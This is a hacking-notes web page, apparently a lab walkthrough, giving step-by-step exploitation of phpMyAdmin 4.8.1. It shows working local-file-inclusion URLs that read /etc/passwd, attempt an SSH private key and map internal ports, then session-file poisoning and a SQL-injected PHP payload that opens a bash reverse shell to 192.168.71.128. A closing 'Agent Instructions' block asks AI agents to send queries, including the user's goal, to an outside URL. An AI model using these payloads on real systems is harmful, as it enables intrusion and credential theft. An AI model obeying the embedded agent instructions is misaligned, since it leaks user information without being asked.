> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/cms/phpmyadmin-cms-exploitation/phpmyadmin-4.8.1-rce.md).

# phpMyAdmin - 4.8.1 (RCE)

phpMyAdmin 4.8.1 exploitation notes for LFI-to-RCE, /proc/net/tcp enumeration, session file abuse, SQL command injection, and reverse shell access.

**phpMyAdmin RCE Vulnerability Identification**

After identifying phpMyAdmin version 4.8.1 as vulnerable, use SearchExploit to find matching exploits and confirm the [RCE](/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md) path.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71a396a754375cebf29dfb9bee995a4d15e07c31%2Fimage%20(1957).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-34bc7e1500835d11a096ecac9504c4299b86a448%2Fimage%20(1959).png?alt=media" alt=""><figcaption></figcaption></figure>

## RCE Vulnerability

Exploit the RCE path by injecting the following script into the URL to read `/etc/passwd`:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce20ca78e10aff1175327c39d472da440c9effd0%2Fimage%20(1960).png?alt=media" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a098e70b924433a9759aac56bcf44a02b42811bb%2Fimage%20(1961).png?alt=media" alt=""><figcaption></figcaption></figure>

**Attempt to Recover the `admin` User SSH Private Key**

Try to access the `admin` user's SSH private key with the following URL, but it returns an error:

```url
index.php?target=db_sql.php%253f/../../../../../../../../home/admin/.ssh/id_rsa
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d9df7c109ff867ce3abc33fb0532cf7ed2f08eb5%2Fimage%20(1962).png?alt=media" alt=""><figcaption></figcaption></figure>

**Internal Private Network Port Enumeration**

Use the following URL to list internal server ports through `/proc/net/tcp`:

```url
index.php?target=db_sql.php%253f/../../../../../../../../proc/net/tcp
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be4a04645a23c20f2ae05836d840a52f0dadc4a8%2Fimage%20(1963).png?alt=media" alt=""><figcaption></figcaption></figure>

Save these ports in a `data` file for later analysis.

```bash
for port in $(cat data | awk '{print $2}' | awk '{print $2}' FS=":" | sort -u); do echo "[+] Port $port -> $((0x$port))"; done
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d8a9c3a555ca766a791c243b7f66620b27c76661%2Fimage%20(1964).png?alt=media" alt=""><figcaption></figcaption></figure>

**Identifying the Directory Containing phpMyAdmin Sessions**

By reviewing the script, identify the directory containing phpMyAdmin sessions:

```url
/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_{}
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee5c3901b2b6dba66027fb22a8b61388b8de32bb%2Fimage%20(1965).png?alt=media" alt=""><figcaption></figcaption></figure>

## phpMyAdmin Command Injection

**Using the phpMyAdmin session cookie for command injection**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ffa41ed04abfdbb68904da98ffed239015a9fc85%2Fimage%20(1966).png?alt=media" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_38f8d56u6em5usl5fd9s9v3pe66qh7v1
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2cee3c4c7a5e09e80e53bfd59b92f144103b9948%2Fimage%20(1967).png?alt=media" alt=""><figcaption></figcaption></figure>

#### This file interprets commands from the queries.

```sql
SELECT 'testing';
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a29cecfe882adf8921402c72068b89c8a342c5a%2Fimage%20(1969).png?alt=media" alt=""><figcaption></figcaption></figure>

**SQL command injection to obtain a** [**reverse shell**](https://www.revshells.com/)**:**

```sql
select '<?php system("bash -i >& /dev/tcp/192.168.71.128/443 0>&1"); ?>';
```

**Machine access finally succeeds:**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77907a18df3270f473bc855aa97bae4020c07a30%2Fimage%20(1970).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/cms/phpmyadmin-cms-exploitation/phpmyadmin-4.8.1-rce.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
